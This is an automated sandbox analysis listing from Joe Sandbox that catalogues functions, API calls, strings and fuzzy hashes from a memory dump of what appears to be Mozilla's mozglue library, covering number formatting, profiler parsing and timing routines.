?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C412C61

Part of subcall function 6C3C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C3C4E5A
Part of subcall function 6C3C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C3C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C412C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C412E2D

Part of subcall function 6C3D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3D81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C412E3B
expected a Time entry, xrefs: 6C412E36
(root), xrefs: 6C41354F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 00b812b40b2d4e577d0fc6f20ad6a7e135406b7e620d8614d813179e999ff018
Instruction ID: 85d537b9956286b85d40c4b739f69f69ca8a5d88f54e7433ff34131e8e942b00
Opcode Fuzzy Hash: 00b812b40b2d4e577d0fc6f20ad6a7e135406b7e620d8614d813179e999ff018
Instruction Fuzzy Hash: 1F917FB060C7418BD724DF24C494E6EB7E1EF8A358F50891DE5D98BB50DB30D549CB92

Function 6C429E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C429F3D
__aulldiv.LIBCMT ref: 6C429F77
__aullrem.LIBCMT ref: 6C429F8C
__aulldiv.LIBCMT ref: 6C42A023

Strings

-Infinity, xrefs: 6C429E60, 6C429E7B
NaN, xrefs: 6C429EAB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 3663efcddcdbaf7a554b12570eadceffe988746c6ac0f9cd9b2e6485ee636aac
Instruction ID: bb125dc1f48c343fa7e797f6992bbb3e5594f2118f90b512bde4f24168f40607
Opcode Fuzzy Hash: 3663efcddcdbaf7a554b12570eadceffe988746c6ac0f9cd9b2e6485ee636aac
Instruction Fuzzy Hash: BCC1AF31E003188BDB14CFA8C851FAEB7B6FF84718F154529D845ABB80D779A94ACB91

Function 6C3CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C3CDA88
9, xrefs: 6C3CDE7F
@, xrefs: 6C3CDAF6
-, xrefs: 6C3CD7DD
1, xrefs: 6C3CDBDD
0, xrefs: 6C3CDC7F
8, xrefs: 6C3CDC08
0, xrefs: 6C3CD852

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0a103c80583f1dbcdadcf3626fda54a1764f7a78f92a9332d9ad870cb3b8ce5c
Instruction ID: 87673dc0f822a1fdd8136afdd28fce59b094b8c85df05bb3f40cb6aff6fab689
Opcode Fuzzy Hash: 0a103c80583f1dbcdadcf3626fda54a1764f7a78f92a9332d9ad870cb3b8ce5c
Instruction Fuzzy Hash: 1562777568C3858FD701CE29C49075EBBE2AB86358F184A0DF4E54BA91C336AD85CF93

Function 6C43545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C438A4B

Strings

~q<l, xrefs: 6C435740, 6C439269, 6C439459, 6C4356C7, 6C43921F, 6C435703, 6C43948F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memset
String ID: ~q<l
API String ID: 2221118986-3361758808
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d6e50a9759f8449d2487d24c22f681b9ae5050f484e252e48badb7ac26a3efba
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: A2B1C772E0422A8FDB14CF69CC90F99B7B2AFD9314F1512AAC54DDB781D730A985CB90

Function 6C43542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C43925C

Strings

~q<l, xrefs: 6C435740, 6C439269, 6C439459, 6C4356C7, 6C43921F, 6C435703, 6C43948F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memset
String ID: ~q<l
API String ID: 2221118986-3361758808
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 34775d67411c249c789a158af83868548fc8e5073322c0fc6ee1638771fd7cf2
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 5CB1C672E0411A8BCB14CF59CC81EADB7B2AFD8314F14126AC549DB785D731A98ACB90

Function 6C42C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C42C0E9), ref: 6C42C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C42C437
FreeLibrary.KERNEL32(?,6C42C0E9), ref: 6C42C44C

Strings

ntdll.dll, xrefs: 6C42C413
NtQueryVirtualMemory, xrefs: 6C42C431

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6da12e6935133a7ae7ef90670cb9f3eb44f149bf968bd74e07fcb0c68141b3ce
Instruction ID: b0cb8652a96c34b13eac4c3068ebfc00aa495899f8d18317db4736d55aac56a2
Opcode Fuzzy Hash: 6da12e6935133a7ae7ef90670cb9f3eb44f149bf968bd74e07fcb0c68141b3ce
Instruction Fuzzy Hash: 80E09270606B019BFB00FFB78D08F167AF8E74A28DF30D116AA0899601EBB4C0008A50

Function 6C3D9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C3DA5D6
1, xrefs: 6C3DA824
@, xrefs: 6C3DA625
' , xrefs: 6C3DA3D8
0, xrefs: 6C3DA100
0, xrefs: 6C3DAB22

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 4fc21463d48e85e3ff389af0d628d2000a866a7bf093ea79b9338a80e83130a7
Instruction ID: 8501d3158fc78fdb49c6f6089e49156784556df3f164339338fe9d1e36f023ae
Opcode Fuzzy Hash: 4fc21463d48e85e3ff389af0d628d2000a866a7bf093ea79b9338a80e83130a7
Instruction Fuzzy Hash: B082E2339093118BD710CF19C29026EB7F2FB85719F578A29E8D547A80D336B986CF92

Function 6C3CBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C3CC1CB
__aulldiv.LIBCMT ref: 6C3CC24C
__aulldiv.LIBCMT ref: 6C3CC348
__aullrem.LIBCMT ref: 6C3CC365
__aulldiv.LIBCMT ref: 6C3CC37D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: d0e38147ec8b80fa1f41f4a92dac0727060dab63e39b22f4a0f1a5a0735f40aa
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 91322532B146118FC718DE2CC890A5ABBE6AFC9314F09866DE895CB395D734ED05CBD2

Function 6C4177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C417A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C417A93

Part of subcall function 6C3E5C50: GetTickCount64.KERNEL32 ref: 6C3E5D40
Part of subcall function 6C3E5C50: EnterCriticalSection.KERNEL32(6C44F688), ref: 6C3E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C417AA1

Part of subcall function 6C3E5C50: __aulldiv.LIBCMT ref: 6C3E5DB4
Part of subcall function 6C3E5C50: LeaveCriticalSection.KERNEL32(6C44F688), ref: 6C3E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C417B31

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 9b557218f42fc10f336650cbc884fc18ede346f0c0bfaf1cfbfffe34bb291244
Instruction ID: 2e46ef7b9020b624a21d734f19865e54f7ea6af835b642c90118d74efaf014d7
Opcode Fuzzy Hash: 9b557218f42fc10f336650cbc884fc18ede346f0c0bfaf1cfbfffe34bb291244
Instruction Fuzzy Hash: 08B16A3560C3818BDB14CF24C450EAFB7E2ABC9358F154A1DE9D567B91DB70E90ACB82

Function 6C3E8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C3E97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3E9813, 6C3E985D, 6C3E9878, 6C3E9CEB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: baa5f4d1c68f4e78b83866174db7e6bbc28a06f58b0ae01d1c779f0f73aacb51
Instruction ID: 7dc0fbecf4acec10253244ea37140a1abf0cf5200b427fccee961fdc2dc6146f
Opcode Fuzzy Hash: baa5f4d1c68f4e78b83866174db7e6bbc28a06f58b0ae01d1c779f0f73aacb51
Instruction Fuzzy Hash: 4BD28F71A057118FC718CF19C590755BBE1BF89328B29C76EE86A8B7A5C732E841CF81

Function 6C406CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C406D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C406E1E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: bd17b2cc268e5a04fbe7936f9d98f55f9bea33aad59b3a26078e604fc4cf564f
Instruction ID: ea8982a6aca3fc527e35accaf018f2a8775b8d70f8be9326c547a8f02bec9529
Opcode Fuzzy Hash: bd17b2cc268e5a04fbe7936f9d98f55f9bea33aad59b3a26078e604fc4cf564f
Instruction Fuzzy Hash: 31A15F746183818FD715DF24C490FAEBBE2BF89308F54492DE88A87751DB70A849CB92

Function 6C42B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C42B720
RtlNtStatusToDosError.NTDLL ref: 6C42B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C3FFE3F,00000000,00000000,?,?,00000000,?,6C3FFE3F), ref: 6C42B760

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 5e53665ce4f73dcded5e8cdc8ebb83f7b75eba4a6a32af7d07b17f9d2d039bed
Instruction ID: c469274fdc40a6622848d3164aa3903f4f5b996417a4269e2670bd2dd58d527c
Opcode Fuzzy Hash: 5e53665ce4f73dcded5e8cdc8ebb83f7b75eba4a6a32af7d07b17f9d2d039bed
Instruction Fuzzy Hash: FAF0A4B0D4021CAEDF01DAA18C85FDE77BC9B8831EF106229D556656C0D7789588CAA1

Function 6C3E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C3E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3E5585, 6C3E55A8, 6C3E55C3, 6C3E5624

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 66abd9adc620853ddd00fa6a8049f7b5d29c8faffa82edf731d37665f427afca
Instruction ID: 3658edff4404e88df4d0e340fd6929bb3c3a776219d4265f055554dceb953bad
Opcode Fuzzy Hash: 66abd9adc620853ddd00fa6a8049f7b5d29c8faffa82edf731d37665f427afca
Instruction Fuzzy Hash: B8B25D71A056118FD708CF19C590715BBE2BFC9328F29C76EE46A8B6A5D772E841CF80

Function 6C4285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C428C7C
__aulldiv.LIBCMT ref: 6C428DD7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: dcdcf69664d9525bb4c5a0b6f6b0ccc4faf5043dd391f1da7c59376853df3c0e
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 93327272F001198BDF18CE9DC4A2FAEB7B2FB88340F15853AD506BB790D6789D458B91

Function 6C4376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q<l, xrefs: 6C4379FB, 6C43793C, 6C4379C0, 6C437796, 6C437E0B, 6C437B0B

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: ~q<l
API String ID: 0-3361758808
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 827fba03f637a3ea46c001fe9464d18c109b93299a57bc2ce561a83210c34361
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 69322971E04229CFDB14CF99C980A9DFBF2BF88314F648169C949A7745D331A986CF90

Function 6C436E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q<l, xrefs: 6C4379FB, 6C437C03, 6C437C72, 6C43793C, 6C4379C0, 6C437E0B, 6C437B0B

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: ~q<l
API String ID: 0-3361758808
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 6ac1a5a99ce27a78c096914d004bd2ad7c072f1a7c8798b36590e32057a060b5
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: EA22F871E04229CFDB15CF99C980A9DFBB2FF88304F6491A9C949A7745D730A986CF90

Function 6C405C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C3D4A63,?,?), ref: 6C405F06

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 4ab41f35573a75e092c0db1f059d84b5faad68a3c45e73732bf8bc069fcf24bc
Instruction ID: a61a59162e2d70ea387771e097c00740731574eaec31f80acf89789471614ea0
Opcode Fuzzy Hash: 4ab41f35573a75e092c0db1f059d84b5faad68a3c45e73732bf8bc069fcf24bc
Instruction Fuzzy Hash: 08C1C275E012098BCB04CF65C590EEEBBF2FF89318F28816DD8556BB44D736A806CB94

Function 6C3CDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48e45718a09d05698341dd4996f580f2d4bb96813f48a03249b51164b58f6239
Instruction ID: b69019bb2b830730a6aedc52c1d01d3b9eb2ad2bb08ef018b8ba0fc04ce6cfa0
Opcode Fuzzy Hash: 48e45718a09d05698341dd4996f580f2d4bb96813f48a03249b51164b58f6239
Instruction Fuzzy Hash: C4428E72B187508BD318CE2CC89175EB3E2BBC9364F094B2DE999A7790D735DD418B82

Function 6C3F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3f654980874d6606627dd3efb35b50f09b13a884243c35cbab8bb41aece57890
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 01222775E00629CFDB14CF98C890AADF7B2FF88308F548699C45AA7705D771A986CF90

